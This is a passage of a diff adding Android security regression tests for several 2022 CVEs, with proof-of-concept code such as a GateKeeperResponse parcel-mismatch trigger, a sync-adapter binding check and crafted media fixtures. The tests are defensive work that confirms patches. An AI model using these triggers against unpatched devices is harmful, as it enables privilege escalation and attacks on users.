+++ b/tests/tests/security/res/raw/cve_2022_22085.dts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22086.3gp b/tests/tests/security/res/raw/cve_2022_22086.3gp
new file mode 100644
index 00000000000..715d10c1a2b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22086.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22087.mkv b/tests/tests/security/res/raw/cve_2022_22087.mkv
new file mode 100644
index 00000000000..0b25fe47095
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22087.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25657.mkv b/tests/tests/security/res/raw/cve_2022_25657.mkv
new file mode 100644
index 00000000000..3d5f70ed561
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25657.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25659.mkv b/tests/tests/security/res/raw/cve_2022_25659.mkv
new file mode 100644
index 00000000000..9eda647727b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25659.mkv
Binary files differ
diff --git a/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml
new file mode 100644
index 00000000000..cb567e31d4e
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<device-admin>
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/tests/tests/security/res/xml/syncadapter.xml b/tests/tests/security/res/xml/syncadapter.xml
new file mode 100644
index 00000000000..478fad5327f
--- /dev/null
+++ b/tests/tests/security/res/xml/syncadapter.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="CVE_2022_20358_acc"
+ android:isAlwaysSyncable="true" />
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index f16b8fb2111..a27a0b940cd 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,24 +15,43 @@
*/
package android.security.cts;
+import static android.app.ActivityOptions.ANIM_SCENE_TRANSITION;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
+import static android.view.Window.FEATURE_ACTIVITY_TRANSITIONS;
+
import static org.junit.Assert.*;
+import android.app.Activity;
import android.app.ActivityManager;
-import android.app.ApplicationExitInfo;
+import android.app.ActivityOptions;
+import android.app.Application;
import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
import android.os.IBinder;
+import android.os.RemoteException;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
-import androidx.test.runner.AndroidJUnit4;
+import android.view.SurfaceControl;
+import android.window.IRemoteTransition;
+import android.window.IRemoteTransitionFinishedCallback;
+import android.window.RemoteTransition;
+import android.window.TransitionInfo;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
+import java.util.concurrent.Callable;
-import org.junit.runner.RunWith;
-import org.junit.Test;
@RunWith(AndroidJUnit4.class)
public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
@@ -111,6 +130,51 @@ public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
}
+ @AsbSecurityTest(cveBugId = 237290578)
+ @Test
+ public void testActivityManager_stripTransitionFromActivityOptions() throws Exception {
+ Context targetContext = getInstrumentation().getTargetContext();
+
+ // Need to start a base activity since this requires shared element transition.
+ final Intent baseIntent = new Intent(targetContext, BaseActivity.class);
+ baseIntent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+ final BaseActivity baseActivity = (BaseActivity) SystemUtil.callWithShellPermissionIdentity(
+ () -> getInstrumentation().startActivitySync(baseIntent));
+
+ RemoteTransition someRemote = new RemoteTransition(new IRemoteTransition.Stub() {
+ @Override
+ public void startAnimation(IBinder token, TransitionInfo info,
+ SurfaceControl.Transaction t,
+ IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+ t.apply();
+ finishCallback.onTransitionFinished(null /* wct */, null /* sct */);
+ }
+
+ @Override
+ public void mergeAnimation(IBinder token, TransitionInfo info,
+ SurfaceControl.Transaction t, IBinder mergeTarget,
+ IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+ }
+ });
+ ActivityOptions opts = ActivityOptions.makeRemoteTransition(someRemote);
+ assertTrue(waitUntil(() -> baseActivity.mResumed));
+ ActivityOptions sceneOpts = baseActivity.mSceneOpts;
+ assertEquals(ANIM_SCENE_TRANSITION, sceneOpts.getAnimationType());
+
+ // Prepare the intent
+ final Intent intent = new Intent(targetContext, ActivityOptionsActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+ final Bundle optionsBundle = opts.toBundle();
+ optionsBundle.putAll(sceneOpts.toBundle());
+ final ActivityOptionsActivity activity =
+ (ActivityOptionsActivity) SystemUtil.callWithShellPermissionIdentity(
+ () -> getInstrumentation().startActivitySync(intent, optionsBundle));
+ assertTrue(waitUntil(() -> activity.mResumed));
+
+ assertTrue(activity.mPreCreate || activity.mPreStart);
+ assertNull(activity.mReceivedTransition);
+ }
+
/**
* Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
*/
@@ -122,4 +186,108 @@ public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
}
return System.nanoTime() - start;
}
+
+ private boolean waitUntil(Callable<Boolean> test) throws Exception {
+ long timeoutMs = 2000;
+ final long timeout = System.currentTimeMillis() + timeoutMs;
+ while (!test.call()) {
+ final long waitMs = timeout - System.currentTimeMillis();
+ if (waitMs <= 0) break;
+ try {
+ wait(timeoutMs);
+ } catch (InterruptedException e) {
+ // retry
+ }
+ }
+ return test.call();
+ }
+
+ public static class BaseActivity extends Activity {
+ public boolean mResumed = false;
+ public ActivityOptions mSceneOpts = null;
+
+ @Override
+ public void onCreate(Bundle i) {
+ super.onCreate(i);
+ getWindow().requestFeature(FEATURE_ACTIVITY_TRANSITIONS);
+ mSceneOpts = ActivityOptions.makeSceneTransitionAnimation(this);
+ }
+
+ @Override
+ public void onResume() {
+ super.onResume();
+ mResumed = true;
+ }
+ }
+
+ public static class ActivityOptionsActivity extends Activity {
+ public RemoteTransition mReceivedTransition = null;
+ public boolean mPreCreate = false;
+ public boolean mPreStart = false;
+ public boolean mResumed = false;
+
+ public ActivityOptionsActivity() {
+ registerActivityLifecycleCallbacks(new Callbacks());
+ }
+
+ private class Callbacks implements Application.ActivityLifecycleCallbacks {
+ private void accessOptions(Activity activity) {
+ try {
+ Field mPendingOptions = Activity.class.getDeclaredField("mPendingOptions");
+ mPendingOptions.setAccessible(true);
+ ActivityOptions options = (ActivityOptions) mPendingOptions.get(activity);
+ if (options != null) {
+ mReceivedTransition = options.getRemoteTransition();
+ }
+ } catch (ReflectiveOperationException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @Override
+ public void onActivityPreCreated(Activity activity, Bundle i) {
+ mPreCreate = true;
+ if (mReceivedTransition == null) {
+ accessOptions(activity);
+ }
+ }
+
+ @Override
+ public void onActivityPreStarted(Activity activity) {
+ mPreStart = true;
+ if (mReceivedTransition == null) {
+ accessOptions(activity);
+ }
+ }
+
+ @Override
+ public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+ }
+
+ @Override
+ public void onActivityStarted(Activity activity) {
+ }
+
+ @Override
+ public void onActivityResumed(Activity activity) {
+ mResumed = true;
+ }
+
+ @Override
+ public void onActivityPaused(Activity activity) {
+ }
+
+ @Override
+ public void onActivityStopped(Activity activity) {
+ }
+
+ @Override
+ public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+ }
+
+ @Override
+ public void onActivityDestroyed(Activity activity) {
+ }
+ }
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
index c532e05e906..ec39ab0640b 100644
--- a/tests/tests/security/src/android/security/cts/BitmapService.java
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -40,6 +40,11 @@ public class BitmapService extends Service {
public boolean ping() {
return true;
}
+
+ @Override
+ public void exit() {
+ System.exit(0);
+ }
};
@Nullable
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 5ce81fd9d95..05273661eed 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -25,11 +25,12 @@ import android.graphics.Bitmap;
import android.os.BadParcelableException;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import com.google.common.util.concurrent.AbstractFuture;
import org.junit.After;
@@ -48,6 +49,7 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase {
private Instrumentation mInstrumentation;
private PeerConnection mRemoteConnection;
private IBitmapService mRemote;
+ private Intent mIntent;
public static class PeerConnection extends AbstractFuture<IBitmapService>
implements ServiceConnection {
@@ -80,6 +82,9 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase {
if (mRemoteConnection != null) {
final Context context = mInstrumentation.getContext();
context.unbindService(mRemoteConnection);
+ try {
+ mRemote.exit();
+ } catch (Exception ex) { }
mRemote = null;
mRemoteConnection = null;
}
@@ -88,12 +93,11 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase {
IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
if (mRemote == null) {
final Context context = mInstrumentation.getContext();
- Intent intent = new Intent();
- intent.setComponent(new ComponentName(
+ mIntent = new Intent();
+ mIntent.setComponent(new ComponentName(
"android.security.cts", "android.security.cts.BitmapService"));
mRemoteConnection = new PeerConnection();
- context.bindService(intent, mRemoteConnection,
- Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ context.bindService(mIntent, mRemoteConnection, Context.BIND_AUTO_CREATE);
mRemote = mRemoteConnection.get();
}
return mRemote;
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index ab05f91050d..03742202f82 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -15,14 +15,13 @@
*/
package android.security.cts;
-import static android.os.Process.BLUETOOTH_UID;
-
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.bedstead.nene.TestApis;
import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
@@ -48,27 +47,27 @@ public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
genericIntentTest("DECLINE");
}
- private static final String prefix = "android.btopp.intent.action.";
- private void genericIntentTest(String action) throws SecurityException {
- try {
- Intent should_be_protected_broadcast = new Intent();
-
- String bluetoothPackageName = getInstrumentation().getContext().getPackageManager()
- .getPackagesForUid(BLUETOOTH_UID)[0];
-
- ComponentName oppLauncherComponent = new ComponentName(bluetoothPackageName,
- "com.android.bluetooth.opp.BluetoothOppReceiver");
+ private static final String PREFIX = "android.btopp.intent.action.";
+ private static final String RECEIVER = "com.android.bluetooth.opp.BluetoothOppReceiver";
- should_be_protected_broadcast.setComponent(oppLauncherComponent);
- should_be_protected_broadcast.setAction(prefix + action);
+ private void genericIntentTest(String action) throws SecurityException {
+ try {
+ Intent should_be_protected_broadcast = new Intent();
+ ComponentName oppLauncherComponent =
+ new ComponentName(TestApis.bluetooth().findPackageName(), RECEIVER);
+ should_be_protected_broadcast.setComponent(oppLauncherComponent);
+ should_be_protected_broadcast.setAction(PREFIX + action);
getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
}
catch (SecurityException e) {
return;
}
- throw new SecurityException("An " + prefix + action +
- " intent should not be broadcastable except by the system (declare " +
- " as protected-broadcast in manifest)");
- }
+ throw new SecurityException(
+ "An "
+ + PREFIX
+ + action
+ + " intent should not be broadcastable except by the system (declare "
+ + " as protected-broadcast in manifest)");
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
index b5896f179de..5c0f342fa68 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
@@ -25,12 +25,13 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import android.os.Parcel;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2019_9376 {
+public class CVE_2019_9376 extends StsExtraBusinessLogicTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 129287265)
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20135.java b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java
new file mode 100644
index 00000000000..2789ff85d10
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20135 extends StsExtraBusinessLogicTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 220303465)
+ public void testPocCVE_2022_20135() {
+ Bundle bundle = new Bundle();
+ try {
+ Class clazz = Class.forName("android.service.gatekeeper.GateKeeperResponse");
+ assumeNotNull(clazz);
+ Object obj = clazz.getMethod("createGenericResponse", int.class).invoke(null, 0);
+ assumeNotNull(obj);
+ Field field = clazz.getDeclaredField("mPayload");
+ assumeNotNull(field);
+ field.setAccessible(true);
+ field.set(obj, new byte[0]);
+ bundle.putParcelable("1", (Parcelable) obj);
+ bundle.putByteArray("2", new byte[1000]);
+ } catch (Exception ex) {
+ assumeNoException(ex);
+ }
+ Parcel parcel = Parcel.obtain();
+ assumeNotNull(parcel);
+ parcel.writeBundle(bundle);
+ parcel.setDataPosition(0);
+ Bundle newBundle = new Bundle();
+ newBundle.readFromParcel(parcel);
+ newBundle.keySet();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java
new file mode 100644
index 00000000000..b1ff1688ced
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.accounts.Account;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ISyncAdapter;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20358 extends StsExtraBusinessLogicTestCase implements ServiceConnection {
+ static final int TIMEOUT_SEC = 10;
+ Semaphore mWaitResultServiceConn;
+ boolean mIsAssumeFail = false;
+ String mAssumeFailMsg = "";
+
+ @AsbSecurityTest(cveBugId = 203229608)
+ @Test
+ public void testPocCVE_2022_20358() {
+ try {
+ // Bind to the PocSyncService
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ Context context = instrumentation.getContext();
+ Intent intent = new Intent(context, PocSyncService.class);
+ intent.setAction("android.content.SyncAdapter");
+ CompletableFuture<String> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ callbackReturn.complete(result.getString("fail"));
+ });
+ intent.putExtra("callback", cb);
+ context.bindService(intent, this, Context.BIND_AUTO_CREATE);
+
+ // Wait for some result from the PocSyncService
+ mWaitResultServiceConn = new Semaphore(0);
+ assumeTrue(mWaitResultServiceConn.tryAcquire(TIMEOUT_SEC, TimeUnit.SECONDS));
+ assumeTrue(mAssumeFailMsg, !mIsAssumeFail);
+
+ // Wait for a result to be set from onPerformSync() of PocSyncAdapter
+ callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+
+ // In presence of vulnerability, the above call succeeds and TimeoutException is not
+ // triggered so failing the test
+ fail("Vulnerable to b/203229608!!");
+ } catch (Exception e) {
+ if (e instanceof TimeoutException) {
+ // The fix is present so returning from here
+ return;
+ }
+ assumeNoException(e);
+ }
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ try {
+ if (mWaitResultServiceConn == null) {
+ mWaitResultServiceConn = new Semaphore(0);
+ }
+ ISyncAdapter adapter = ISyncAdapter.Stub.asInterface(service);
+ Account account = new Account("CVE_2022_20358_user", "CVE_2022_20358_acc");
+ adapter.startSync(null, "android.security.cts.CVE_2022_20358.provider", account, null);
+ mWaitResultServiceConn.release();
+ } catch (Exception e) {
+ try {
+ mWaitResultServiceConn.release();
+ mAssumeFailMsg = e.getMessage();
+ mIsAssumeFail = true;
+ } catch (Exception ex) {
+ // ignore all exceptions
+ }
+ }
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ try {
+ mWaitResultServiceConn.release();
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java
new file mode 100644
index 00000000000..0bc8c2c5fed
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class PocContentProvider extends ContentProvider {
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java
new file mode 100644
index 00000000000..08fbf92d8e5
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import android.accounts.Account;
+import android.app.Service;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SyncResult;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+
+public class PocSyncService extends Service {
+ private static PocSyncAdapter sSyncAdapter = null;
+ private static final Object sSyncAdapterLock = new Object();
+ RemoteCallback mCb;
+
+ @Override
+ public void onCreate() {
+ try {
+ synchronized (sSyncAdapterLock) {
+ if (sSyncAdapter == null) {
+ sSyncAdapter = new PocSyncAdapter(this);
+ }
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ try {
+ mCb = (RemoteCallback) intent.getExtra("callback");
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ return sSyncAdapter.getSyncAdapterBinder();
+ }
+
+ public class PocSyncAdapter extends AbstractThreadedSyncAdapter {
+
+ public PocSyncAdapter(Context context) {
+ super(context, false);
+ }
+
+ @Override
+ public void onPerformSync(Account account, Bundle extras, String authority,
+ ContentProviderClient provider, SyncResult syncResult) {
+ try {
+ if (account.type.equals("CVE_2022_20358_acc")
+ && account.name.equals("CVE_2022_20358_user")) {
+ Bundle res = new Bundle();
+ res.putString("fail", "");
+ mCb.sendResult(res);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
new file mode 100644
index 00000000000..1bf6a7812e0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20420;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.IDeviceIdleController;
+import android.os.PowerExemptionManager;
+import android.os.Process;
+import android.os.ServiceManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20420 extends StsExtraBusinessLogicTestCase {
+ private static final int TIMEOUT_MS = 10000;
+ private static final int USER_ID = 0;
+ private Context mContext;
+ private DevicePolicyManager mPolicyManager;
+ private ComponentName mComponentName;
+ private UiAutomation mAutomation;
+
+ @After
+ public void tearDown() {
+ try {
+ mAutomation.dropShellPermissionIdentity();
+ mPolicyManager.removeActiveAdmin(mComponentName);
+ } catch (Exception ignored) {
+ // ignore all exceptions as the test has been completed.
+ }
+ }
+
+ @AsbSecurityTest(cveBugId = 238477311)
+ @Test
+ public void testDeviceAdminAppRestricted() {
+ try {
+ // Add test app to Power Save Whitelist.
+ mContext = getInstrumentation().getTargetContext();
+ mAutomation = getInstrumentation().getUiAutomation();
+ mAutomation.adoptShellPermissionIdentity(android.Manifest.permission.DEVICE_POWER,
+ android.Manifest.permission.MANAGE_DEVICE_ADMINS,
+ android.Manifest.permission.INTERACT_ACROSS_USERS_FULL);
+ IDeviceIdleController mDeviceIdleService =
+ IDeviceIdleController.Stub.asInterface(ServiceManager.getService("deviceidle"));
+ mDeviceIdleService.addPowerSaveWhitelistApp(mContext.getPackageName());
+
+ // Set test app as "Active Admin".
+ mPolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(mContext, PocDeviceAdminReceiver.class);
+ mPolicyManager.setActiveAdmin(mComponentName, true, USER_ID);
+ CompletableFuture<Boolean> future = new CompletableFuture<>();
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ future.complete(true);
+ }
+ };
+ mContext.registerReceiver(broadcastReceiver,
+ new IntentFilter("broadcastCVE_2022_20420"));
+ future.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+
+ // Call vulnerable function getBackgroundRestrictionExemptionReason()
+ ActivityManager activityManager = mContext.getSystemService(ActivityManager.class);
+ int reason = activityManager.getBackgroundRestrictionExemptionReason(Process.myUid());
+ assumeTrue(
+ "Reason code other than REASON_ACTIVE_DEVICE_ADMIN/REASON_ALLOWLISTED_PACKAGE"
+ + " returned by getBackgroundRestrictionExemptionReason() = " + reason,
+ reason == PowerExemptionManager.REASON_ACTIVE_DEVICE_ADMIN
+ || reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE);
+ assertFalse("Vulnerable to b/238377411 !!",
+ reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..c9c1b6f13be
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
